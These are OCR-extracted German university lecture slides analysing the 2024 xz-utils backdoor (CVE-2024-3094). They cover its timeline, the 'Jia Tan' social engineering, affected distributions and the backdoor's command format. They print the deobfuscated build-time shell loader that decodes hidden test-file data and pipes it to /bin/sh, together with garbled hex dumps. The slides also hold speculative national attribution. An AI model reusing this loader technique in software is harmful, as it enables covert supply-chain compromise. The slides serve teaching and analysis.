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Einschub: RSA

— Basisbedingung ist: (m®)%=m (mod N) 
Um dieses N geht es spater

— Offentlicher Schlissel: [d,N] <
— Privater Schlussel: [e] (implizit auch N)
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Was ist passiert? (0)
— Openssh wurde Uber eine Supply Chain Attacke angegriffen
— Der CVSS ist 10 (Max: 10). Zum Vergleich:
— Shellshock: 9.8
— Log4Shell: 10.0
— Heartbleed: 7.5
— Hafnium: 9.8 (NIST)/9.1 (MS)
— Openssh selber ist Weltweit auf 20 Millionen Servern installiert. Zum Vergleich:
— Apache Webserver: 14.6 Mio

— IS: 4.17 Mio U R here
— Exchange: 0.155 Mio ‘l’
0 1 2 3 4 5 6 7 8 9 10
| a e
Irgendwann Einplanen Taskforce Schlafentzug
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Was ist passiert? (1
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= ¥ AndresFreundTec

| was doing some micro-benchmarking at the time, needed to quiesce the system to

S kad OOS h s s mm (a m 2 9 . 3 . 2 024 ) reduce noise. Saw sshd processes were using a surprising amount of CPU, despite
immediately failing because of wrong usernames etc. Profiled sshd, showing lots of
cpu time in liblzma, with perf unable to attribute it to a symbol. Got suspicious.

Recalled that | had seen an odd valgrind complaint in automated testing of postgres,
a few weeks earlier, after package updates.

Really required a lot of coincidences.

n AndresFreundTec

| accidentally found a security issue while benchmarking postgres changes.

If you run debian testing, unstable or some other more "bleeding edge" distribution, |
strongly recommend upgrading ASAP.

oss-security - backdoor in upstream xz/liblzm...

"Dieses Foto" von Unbekannter Autor ist lizenziert gemaf CC
10. Ap% Cybererdbeben: openssh-Angriff www.fhnw.ch


https://www.pngall.com/boom-png/download/48134
https://creativecommons.org/licenses/by-nc/3.0/
https://creativecommons.org/licenses/by-nc/3.0/

n w Fachhochschule
Nordwestschweiz

Was ist passiert? (2)

— Am 29.3.2024 wurde bekannt, dass ein Patch in den xz-Utilities (5.6.0 und 5.6.1) ein Backdoor bei

openssh einfuhrt.
— Das Backdoor flog auf, weil ein Microsoft Entwickler (Andreas Freund) einen unerklarlich hohen CPU-load

bei einem ssh-Login beobachtete.

— Der Patch wurde nur effektiv bei openssh, xz-utils und deb/rpm-basierten System (bekanntermassen
betroffen sind Fedora, Debian, Alpine, Kali, openSUSE und Arch-Linux).

— Er erlaubt es, Personen mit einem bestimmten privaten Schlussel (ed448) folgende Kommandos
auszufuhren:
— SSH authentication bypass (typischerweise mit root-Rechten)
— Ausfuhren eines Shell-Kommandos mit einer beliebigen UID/GID
— Mindestens ein unbekanntes Kommando
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Wann ist es passiert?

— Das Vorgehen war von langer Hand geplant und ausserst klassisch aufgebaut:
— Ein unbekannter namens “Jia Tan” hat den Verantwortlichen der xz-Utils im 2022 unter Druck gesetzt wegen
gesundheitlicher Probleme die Kontrolle Uber das Projekt abzugeben (Social Engineering).
— Vermutlich hat der Entwickler im Laufe des Jahres 2022 (Hypothese ist derzeit 30.11.2022) tatsachlich

nachgegeben.
— Vom 27.8.2023 bis 15.2.2024 werden mehrere Patches vom originalen Maintainer, “Jia Tan” und einem “Hans

Jansen” eingefuhrt. Sie machen folgendes:

10. April 2024

Sie erlauben das Uberladen von Funktionen im Code mittels IFUNC

Sie deaktivieren diverse Tests im eigentlichen Repository, in ein paar Upstream-Repositories und Plattformen
(z.B. OSS-Fuzz).

Am 24.2.2024 wird der eigentliche Backdoor-Code als Test-Files (ein Izma-File und ein xz-File) in binarer Form
(um via IFUNC geladen/gelinked zu werden) hinzugefugt.

Am 9.3.2024 wird ein Update dieses Codes hochgeladen ins Repository

Cybererdbeben: openssh-Angriff www.fhnw.ch
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Das Update

Ch\Users\Martin Gwerder\Downloads\tests_files_bad-3-corrupt_lzma2(1).xz

000
0lc
038
054
070
08c
0a8g
Oc4
0e0
ofc
118
134
150
16c
188
lad
1cO
1dc

10.

iid
23
71
02
dd
18
6d
48
20
14
94
bé
e
fe
ef
eb
e
01

37
23
19
00
04
fe
a9
7a
ff
02
0c
c3
3f
de
08
dé
23
00

7a
23
cd
21
61
6b
2f
af
8
le
9c
el
B3
5e
00
b4
22
00

58
48
b6
01
&d
fc
18
20
b4
Ee
50
3d
57
65
00
46
e
00

April 2024

5a
65
1f
08
6d
55
&b
bl
9c
33
af
a5
af
47
a7’
02
Oa
00

00
6c
bé
00
c3
6d
58
c0
ar
a5
87
38
c9
cd
ac
00
00
04

00
GC
3
00
20
38
5¢C
f5
ef
03
2f
4a
80
e
&7
21
00
59

04
ef
7d
00
70
3a
el
3c
69
54

Cybererdbeben: openssh-Angriff

26
23
o1
ds
fd
ce
dl
6f
26
b8
cd
Ea S
B
1f
b1
08
78

de
23
00
of
5a
ed
11
41
ce
bd
cf
49
0a
50
c4
00
fo

b4
23
00
23
6d
de
el
4a
fe
10
93
6b
el
&d
67
00
ob

46
23
00
13
cb
30
b3
d2
ff
ca
B4
50
0z
15
b
00
29

02
00
00
el
47
ab
db
fa
DEE
ba
42
00
19
72
02
d8
cc

00
00
04
04
5b
93
22
3d
fo
le
ca
49
9a
ab
00
of
67

21
00
59
67
cc
03
44
93
la
d4
47
cc
do
ad
00
23
df

01
00
5a
01
30
4d
88
eb

eg
61
00
00

13
d8

08
12
fd
14
ed
47
50
a6
a4
12
50
8b
30
f6
00
o1
00

00
88

s
5d
51
55
e3

el
f6
44
a6
08
35

00
01

00
df

00
68
e
3e
76
4
ed
9
38
ac
a8
59
od
26

00
04
58
05
45
90
96
83
Oe
dd
4f
c5
1d

5a
23
Oe

of

-

00
99
dd
75
1b
44
ds
21
61
92
1ic
o1
37
23
1b

23
81
00
st
b0
93
7a
c0
30
50
cb
ab
99
6a
7a
23
el

13
42
04
db
eg
c8
60
52
LS

97
08
de
4b
58
57

01
o0
e
ad

38
bc
81
62
el

42
eg
oo
5a
6f
1f

0o
o1
dé
32

73
de
6
c9
B0
48
10
1f
()8
00
72
b6

0c
25
b4
fe
97
b8
a6
7f
32
c0
la
6C
0a
b0
00
6C
3

23
od
46
4d
06
32
57
f7
bo
82
9d
fe
36
02

7d

git.tukaani.org / xz.git / commitdiff

summary | shortlog | log | commit | commitdiff | tree
raw | patch | inline | side by side (parent: a3a29bb)

Tests: Update two test files.

author

Jia Tan <jiat@2l8@gmail.com>

Sat, 9 Mar 2824 84:13:29 +8288 (18:13 +8388)

committer Jia Tan <jiat@218@gmail.com:>

Sat, 9 Mar 2824 84:13:29 +8288 (18:13 +8388)

The original files were generated with random local to my machine.

To better reproduce these files in the future, a constant seed was used

to recreate these files.

tests/files/bad-3-corrupt_lzma2.xz

tests/files/good-large_compressed.lzma

index
Binary

8d3dh299a74

patch | blob

» | history

patch | blob | history

Qma
OLd0. .

644

iffer

diff --git a/tests/files/good-large compressed.lzma b/tests/f
index B8458fea8fcfB86b2889bled10e5821648Fd3dEb5d 163581 cd37badbod 1+
Binary files a/tests/files/good-la i b/tests/files/good-1lar zma differ
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Das Update (2)

— Diese zwei Archive sind zweistufig die obfuskierte Version des Backdoors

— Nach der De-Obfuscation (Florian Weimer at als erster den Code lesbar gemacht) sehen die Files wie folgt aus:
HitHHHello#HHH#H
#aU%o0 $Q
eval ‘grep “srcdir= config.status’
if test -f ../../config.status;then
eval ‘grep “srcdir= ../../config.status’
srcdir="../../$srcdir"
fi
export i="((head -c¢ +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c
+1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
>/dev/null) && head -¢ +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
&& head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c
+2048 && (head -¢c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzmaleval $iltail -c +31233|tr "\114-\321\322-\377\35-
\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
HHHWorld##H#H

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch
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Das Update (3

7 tests_files_good-large_compressed(4) - Editor - u} X

Datei Bearbeiten Format Ansicht Hilfe

AAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ~

mtX0]1cOpj="01* | 5y0tD+52,In006rzDéy2daii" 20 ~ZNxI5“+y 171506 2b~0, US« G§TFiiyR ‘~ETit™Y

al +0J\UISUYIOCAYiV, | 00PI: VYOAIRNIXS allé£1WptacUl)rb<&al(xj 0 i”-1izz%jdItuf<, '@}l)EYI0 «YuAAliQ™ 9-/0c®EC6dH-GCI uulrEina'a]$_Mvge20GzX 42%elhY-}f "d! SEIA..9Cad®U; * =Geaw < 19%6N5Z 2SGA8-_N |t ' eY069 2l¥QaYSAxen7ay " 8@lee Iep+VyO¢urAiim > Dad
8Ep "eE@]’°- N

ie 1[IQ£§§|3a/IQ|]} 1A080DF, U $le‘KhA®(oUu®|]odT (,,4{1®0: Q°AloYulNelUeYls " 2E£+01 INIE»2 *CuN,— =i " AOI}™ Aic’ {Ifeuia ~

ul"U}AD"y§leC 1h._,AJ€%S KYwtFc2IVVIIFO1YE ' 6:1:0<A®i0]-alj@IBjO1n»cAac ‘6EA¢ ~ull7£GO | BA-1]iwleonllAp " Yip-1AL6,,6 | 0¢OCUOA*0a0™ *0>%B+: [ 60r3IAEIO 00K '6=eUl  -afi..JSMHiut6gz¢l-@oEeanlB«lle, }°A" b|KrB&23+E@\ipe, ] 1a¥?’ " 2/0d9y+p§aas®

5;“V7+uldObRI, 30u
¢Koh#0{ . pIgB;Uaga+“auTQA>0X9™qfZVpaD*“+Rz 2w %Daql&Vall| 1
6-~D”]MPqQm..xXKkM/ £, A£ilIOP ' 11D~ “i&q¢le+«dPT’09  xia78” aX(!Vbtll £:0fiu~
¢t.@  °lAsL +Ie8§Y-cI?kYIR_/+vl OKI”PF™% —UB+: : 10GAG~£OtEd1 ]ydl/lq, ~é0™ cOe_q83lT
u]x00[&ISyaU0aGZE¢yFY| “[%Hed |uhz ‘o-Ftey>2: "SMBUSF\ 6k€@£4s3rpslaFx> 10Fa_a9il+tLA -
aD#a ! 1éwVES, Ux wrl b2§<#vPIPWO{+1p~Y"T..IKUoxUU§-gmER1tD < UAsXujAlumNI& £ Ul inavEua|l[ };x8xt?«oi%+vl! ReOvCEMAOK“08bgaqd5!T YY¢19G 20, "AAS IO[Hulaei’ !..93p5ql(¥us30a’ [n%El32:0v&a«SY. ¢e” 2 542y -0,Al <ZA! t1| ESmE2QUOII{AKEX%ESe W AERIPTAG 1A
G0{-~e%ek~"£&5B\q5 ! Ug{s "SUDi5QI0"bIEI8  yueES-2Uu-@RNAGEi¢z!vt 0§

&= 14HeI xIr+

W' ©2Yaz}o¢eculd9s{AcEII~vacs ‘Z# $z »@?AGv - PF #DI

iiamlB,,0B& H]>05 | PoEa!1{keUYBE“a0C-15™ 0sT]udo}TA&*EgEledD~/=vElia€laka: 2xdl. N9Eg¢pa3i¢°®0IC, 50:B[§_Uc0501+22 11 ]u@ilPula{£9€E¢o- «Ouebuolad®a¥0®7B2H<—sMz3-U2AY ‘1a* /

L, UA+e1 “uwl/e > OE=AIrYl} /00 (31®EDIa*0U-g 28qU-IFIzRY¥l G/8§0 A«OOlipg§iit1024)a Pcxlo+CAIR - ARKPA~2¢+H1D} =a™0<[\OéxalvcEK 201521V & &E9z,@@16 " \H20£$r’ ,, K< [YEIIICh> >K

-10E0iW0s] éN*yMaq ¢« FIXxCD(2\3..@1 ' Apl=f tl6ql”ul} ~x02@M0> >XYIK£k#U%140- i®6A; 26-vyDululel0105Da1AEENdA " PA+mPO OU2xHz%6 |HIAASU: 1009{
728K | 95715 *%jComaE T=100glecll, Jo~a j2~0; €N8QoI¢ I0F sopFHu /1Al gFTeasAa
méll; c+; 60IQHI¥ " V2 '3"—ZPsAe£U°a\lGD¢ ¢ Et a
ouSOAoI](a»' i*_vyeb3fi--0S~“%—f1V16-10: aal-b~00"1q68afbN: T”ul APTONN...+v ©/F 37+ |I£@Vkpl2x]--20%<Ul> zP—NA { An[ PIOIADIOC [ ' NUA=19tS8pIsH2@ZilR2 | -Q)HAIZ)F1s0.PID! 2_Gi&fitsn ™ °5 O1A  Adwnjx>™ €E™1-%1bo/_o9l-°%8%t€!DTe IyBwax!(3 -0+? “a®p~OyAsUlY, ¢
imAik%nt- plDDI]l]OO'Q QENZ «+ 4D %r
fs§1ay]"-@1iiN0]-p5+e*dm“I~;bosds <00AH B c-¥uE&lY 25UAe0-@BIAyLl Shiey3s\Aile. #1- 5+IEREPP#IAHY %>»
oVUOpVgI]SUm@O +XkClalq2«~ D°b,,zaﬂ¥th1¥cA jAptOAUB2@Yes~giil%>006101[j? & I@!£iS.HpAD..s¢Da"i-IVV~1_7 ,’lel] :
0a,0u HUN?C+<£048Z<talVIAIOE & _%kaa<o< ‘GHI}ade«\~ GA=x"8'ljHup%2~"—alaF%lllxa5=Y+l;KIO{0°x '&é~Au ‘A..~A GDI;UlFr<ooAiel
[ILc(D9\a85f1\°UO1A 3PNXz*HEI™ sfin16E

&A+9,U0E,,41°D, ,Yl]a %0, gA,g-ewn»nﬁmBzIs>AhEA1wraD{Vx xy@"1; 2dUPaaTyGyTomepnU-+I° tiw® AU7:®> <“%euFpolls+Hi2zii26s>} [ 2UXKQqT®IpnagaAdeeul, t26PalBF - E351&  ~F"IP“|Ga504407C; 0IM — sX-E_clile#™; 2€7aélAi: 8114 E Fu7Z5IRIBOGyaXxsaYFaafA
ys5lup <10, ; 0-0T6<090xKa6a: t [dIU’ @eAOIDhi | ellia=$ 30VIANdD ¥Y1IRPEAE>512~yOug ; +aliteStiNagp
0 gel]> VicsU2elv+d; M’VS»OOQI] 1i§nss, Arua6[=30 ~R3SMIR{Z”C' -s30uC

<

c§ibﬂc‘1’i<,é»ﬂDUZG°3t|3~,,DpALaw 228x8d0itciala +f5-MA&l-ul—6"ul -60ptI12w3G°AIAO 12E4d/ 'w 1dID)UO? <b\§*cALKEASIEH-ERK?0HT2 5

Zeile 8, Spalte 19 100%  Macintosh (CR) ANSI
= =

Datei Bearbeiten Format Ansicht Hilfe
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Das Update (4)

Binaries

Entpackt ein weiteres Shellskript und

Tauscht vorkompilierte .o Binaries und
Konfigurationsvariablen wahrend des Build-

Prozesses aus.

Das fuhrt Letztendes zu dem veranderten

Verhalten.

Das Problem war: Eine falsche Annahme

beim Stackaufbau.

10. April 2024

Cybererdbeben: openssh-Angriff

== Observing Impact on openssh server ==

With the backdoored liblzma installed, logins wvia ssh become a lot slower.

time ssh nonexistant.

before:

nonexistantfd. ..alhost:

before:

real @ma. 2995
user Bma ., 282s
sYs Bma . 8Bos

atter:

nonexistantfd. ..alhost:

real 8ma . 387 s
user Bma . 282s
sYs Bma . 8Bos

..alhost

Permissicon denied (publickey).

Permissicon denied (publickey).

openssh does not directly use liblzma. However debian and several other
distributions patch openssh to support systemd notification, and libsystemd

does depend on lzma.

Initially starting sshd cutside of systemd did not show the slowdown, despite
the backdoor briefly getting inwvoked. This appears to be part of some
countermeasures to make analysis harder.

Observed requirements for the exploit:
a) TERM environment wvariable is not set
b} argv[@] needs toc be fusr/sbin/sshd
c) LD _DEBUG, LD PROFILE are not set

d} LANG needs to be set

e} Some debugging environments, like rr, appear to be detected. Plain gdb
appears to be detected in some situations, but not others

To reproduce cutside of systemd, the server can be started with a clear
environment, setting only the required variable:

env -1 LANG=en_US.UTF-8 fusr/sbin/sshd -D

www.fhnw.ch
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Wann ist es passiert? (2)

— Am 29.3.2024 Wurde eine detaillierte Analyse durch Andreas Freund veroffentlicht und
anschliessend von weiteren Forschern erganzt (z.B. Russ Cox).

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch 13
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Wie funktioniert das Ganze? (1)

— Es wurde ein Backdoor in der Form der Testfiles ins Repository geladen. Die Testfiles wurden
wahrend des Buildprozesses in binarer Form in den Code integriert, wenn es sich um RPM
oder Debian-Pakete gehandelt auf der Basis von X86 gehandelt hat.

— Wenn ein System ein ssh-Prozess unter /usr/bin/sshd startet und sshd auf systemd-notify
zuruckgreift, welcher wiederum liblzma (das ist der libbrary-Name der xz-utils) verwendet, dann
wird via IFUNC alle Funktionsaufrufe zu RSA_public_decrypt (von sshd) umgeleitet auf den

Schadcode.

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch
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Wie funktioniert das Ganze? (2)

— Der o6ffentliche Modulus von N wird genommen
— Die ersten 16 Byte beinhalten ein Kommando (von 0-3)
— 00 Unbekannt
— 01 SSH Auth bypass
— 02 Execute Shell Command
— 03 Execute Shell Command with UID/GID
— Die letzten 240 Bytes sind eine Signatur (0-113) die gegen einen festkodierten ed448 Schlussel, ein Kommando
(maximal 122 Bytes \O-terminiert) und ein Padding
— Die Signatur ist gebunden an den offentlichen Schlussel des Hostsystems(!). Genauer:
— Die ersten 4 Bytes des Headers ([cmd1]*cmd2+cmd3)
— Die ersten 5 Bytes des Kommandos
— Der sha256 des HostschlUssels
— Das Ganze ist verschlusselt mit einem hart kodierten ChaCha20 symmetrischen Schlussel.

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch 15
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Wer war betroffen?

— In produktiven Systemen wurde der Code anschliessend eingeschlossen:
— openSUSE (Tumbleweed) 10.3.2024
— Arch 9.3.2024
— Kali 26.3.2024
— Testsysteme waren etwas fruher:
— Fedora 24.2.2024 (“verbesserte” Version 5.6.1 am 9.3.2024)
— Debian 24.2.2024 (“verbesserte” Version 5.6.1 am 26.3.2024)
— Alpine 11.3.2024

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch 16



JiaT75's Commits Over Time by Repository

n ‘ w Fachhochschule_ 23:00 ®
Nordwestschweiz 22:004 @ L
1900 - . c . :
17500 ° - 35': : s L i ;‘. :.E’ @
. . o o] 0 G RURT B MRk SRR TN {
Wer ist Jia Tan . ™ I M RS
. 5 1300 » o | - 4 e 2. 828
g 12:00 L L h“ 'e.e .s'h ‘s".‘ .!!‘. g;,f ?t e
: 11:00 4 ° 3 ]
— Erist kaum echt... oo B
— Er hat ein Ebay-Account, der in der USA beheimatet ist re] o
: . : . : : R R .
— Einen Namen, der asiatisch, vermutlich Chinesisch ist. so0l @ : :
— Aber L. ;22" :jl-(ea':nfplrojeect.g\thub.\o | | ‘ ‘ | ‘ ‘ ® |
— Er arbeitet zu typischen Tageszeiten in einer Zeitzone wo

man von 12:00 bis 18:00 UTC arbeitet.

— Er Arbeitet meistens von Dienstag bis Freitag (meistens;
Parttimer 80%7?)

— Er Arbeitet an asiatischen Feiertagen aber lasst Weihnachten
und Neujahr aus.

— Er arbeitet regelmassig 6 Stunden und nie von 4:00 bis
7:00UTC
— Hypothetische Zeitzone ware also ungefahr GMT+2

— Das deutet eigentlich auf «ostliche europaische» Lander hin. Ein

«ublicher Verdachtiger» in dieser Zeitzone ware Israel.
10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch 17
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XZ Outbreak (CVE-2024-3094)
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/ \
EXZ Utils is a collection of open-source tools and libraries for the XZ compression format, that are used i
ifor high compression ratios with support for multiple compression algorithms, hotably LZMA2. i
\ /
r 1
ion Friday 29th of March, Andres Freund (principal software engineer at Microsoft) emailed oss- i
isecurity informing the community of the discovery of a backdoor in xz/liblzma version 5.6.0 and 5.6.1. i
\ /

Github Activity Summary (user: JiaT75)

n a Nutshell

’//4, LR
Kz PR opened in oss-fuzz to || Obfuscated/encrypted stages binary backdoor

i JiaTT5's first commit disable ifunc for fuzzing hidden in two test files:
& ::f:::‘/t/g;ﬁub com/tukaani-project/xz TS builds. Allegedly to mask the || e tests/files/bad-3-corrupt_lzma2.xz
P malicious changes. ® tests/files/good-large_compressed.lzma.
2022-02-06 2023-07-08 2024-03-09
"= 0a—-="0~ T 0L =0 PPt
204 N 2024-02-16 ==~ {
— 2023-06-28 St ;
U:er:‘a fo&(t&ﬂS) . et e T i Malicious “build-to-host.my" file added xz/libzma
TRl s o liblzma: "Add ifunc implementat};t;n to .gitignore, later incorporated to the v5.6.0 & v5.61
to crebY_fast.c." PR I
Packaged in the final releases /l

= e e e . . e e . e e, e S e e . S e . B e e S S S e B S

The MY macro is executed during the build @
process and runs the malicious code below. J

tests/files/bad-3-corrupt_lzma2.xz

Substitution to uncorrupt
malformed Xz file _>
7
* 0x09 (\t) are replaced with 0x20 *Uncorrupted*

0x20 (whitespace) are replaced with 0x0% bad-3-corrupt_lzma2.xz
0x2d (-) are replaced with Ox5f -
Ox5f () are replaced with Ox2d

onfigmak
w

age 1- Bash File

tests/files/good-large_compressed.lzma

1.Decompress the file with xz -de

* B i t: 86 F S5AF7 2E 68 LA BC 9 " . :
v560 cﬁiz: g:lr:r;:;::tion (byte value mapping) 2.Remove junk data from the file using multiple head tool calls
3.Portion of the file is discarded (contains the binary backdoor) \ 5
e Bytesin comment: E5 55 89 87 24 04 D8 17 4. Use custom substitution cipher to decipher the data e
v5.6.1 ¢ Checkif script running on Linux ‘ [ 5.Deciphered data is decompressed using xz -F raw --[zmal -dc | Bash script
® Custom sub 1 (byte value mapping!
o
Stage 2 - Bash File
“+ v5.6.1 Extension Mechanism @ 2
'“v5.6.0 Backdoor extraction 1.Search Files: use grep -broaF in tests/files/ for r g__‘v
An .o file extracted « integrated into compilation/linking s@:c‘:t\,:re:;” o .Aﬂle_namez‘é':::;igm‘ureu %
1.Extract & decipher tests/files/good-large_compressed.lzma et ¥
2.Manipulat tput with: LC_ALL=C sed "s/\(\)\\n/g" ;
SRPSGE Sp = gededbiing 2.1f Found: No files with the signatures were

3.D t using AWK script (RCY-lik gt
ecrypt using AWK script (RCY-like) o fove Firsbotfat + T Satart found, however it highlights the

Y.Decompress with xz -de --single-stream e o file's offset as $end framework's potential modularity for
5.8inary backdoor stored as liblzma_la-cretY-fast.o R B e LS CECE LS = ~os
3.Next steps:

liblzma_la-crc64-fast.o is then added @ Merge found segments @FROGGER_

b. Decipher with custom byte mapping

c.Decompress & execute data THOMAS ROCC’A

to the compilation/linking process!

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch 18
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Wovon bis heute (meines Wissens) nicht gesprochen wird:

— Neben den bekannten Commits gibt es
ahnliche, die bedeuten konnten, dass mehrere T T
Architekturen betroffen sind oder geplant waren summary | shorleq | og | commit | commit | ree

first - prev - next

betroffen zu sein. Z.B. Risc-V Tests: Update RISC.V test files.
[xz.qit] ! tests / files | good-1-riscv-lzma2-1.xz
2024-03-09 Jia Tan Tests: Update RISC-V test files. blob | commitdif | raw
2024-01-23 Jia Tan Tests: Use smaller dictionary size in RISC-V test files, o0 | commitdiff | 2w | giff to curent
2024-01-23 Jia Tan Tests: Add two RISC-V Filter test files. blob | commitdiff | raw | diff to current
XZ Utils

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch
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Meine 2c¢ts

— Die meisten Leute gehen von einem «State Sponsored Actor» aus. Ich stimme dem nicht zu!

— Indikatoren:
— Wabhrscheinlicher Ursprung: Israel— Bekannt fur seine Fahigkeiten im Bereich der Staatstrojaner
— Die Art der «Signatur» des Requests ist seltsam. Statt den ganzen Request zu signieren, wird nur ein Teil des
Kommandos und ein Teil des Payloads aber der ganze Hostkey signiert. Es werden nur ein Teil des Kommandos

und ein Teil des Payloads signiert.

10. April 2024

Sie erlaubt es Pakete auszugeben, die nur login machen kdonnen auf einem spezifischen Host
Sie erlaubt es die ersten 5 Bytes des Kommandos zu limitieren auf z.B.

— grep

— cat

— Halt
— Ein anderer 4 Byte Befehl (setzt voraus, dass der “Kunde” extrem bescheidene Kenntnisse der Shell besitzt).

-> Ein entgleister Versuch der Kommerzialisierung?

Cybererdbeben: openssh-Angriff www.fhnw.ch

20



n w Fachhochschule
Nordwestschweiz

Mehr Info:

“Low Level Learning” zeigt auf Youtube unter anderem mit der Hilfe eines ersetzten Schlussels,
wie ein Angreifer den Exploit hatte ausnutzen konnen (Die gepatchte Version wurde von Anthony
Weems unter https://github.com/amlweems bereitgestellt).

— https://www.youtube.com/watch?v=vV WdTBbww4

10. April 2024 Cybererdbeben: openssh-Angriff www.fhnw.ch 21


https://github.com/amlweems
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Quellen:

— https://tukaani.org/xz-backdoor/

— https://ifrog.com/blog/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know/
— https://qgithub.com/amlweems/xzbot

— https://gynvael.coldwind.pl/?lang=en&id=782

— https://qist.github.com/thesamesam/223949d5a074ebc3dce9ee/8baad9e27
— https://qgithub.com/JiaT75?tab=overview&from=2021-12-01&t0=2021-12-31
— https://qgithub.com/Oxlane/xz-cve-2024-3094

— https://gigazine.net/gsc _news/en/20240404-xz-utils-jia-tan

— https://rheaeve.substack.com/p/xz-backdoor-times-damned-times-and

— https://lwww.openwall.com/lists/oss-security/2024/03/29/4

— https://twitter.com/frOgger /status/1774342248437813525/photo/1

10. April 2024 Cybererdbeben: openssh-Angriff
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https://github.com/amlweems/xzbot
https://gynvael.coldwind.pl/?lang=en&id=782
https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
https://github.com/JiaT75?tab=overview&from=2021-12-01&to=2021-12-31
https://github.com/0xlane/xz-cve-2024-3094
https://gigazine.net/gsc_news/en/20240404-xz-utils-jia-tan
https://rheaeve.substack.com/p/xz-backdoor-times-damned-times-and
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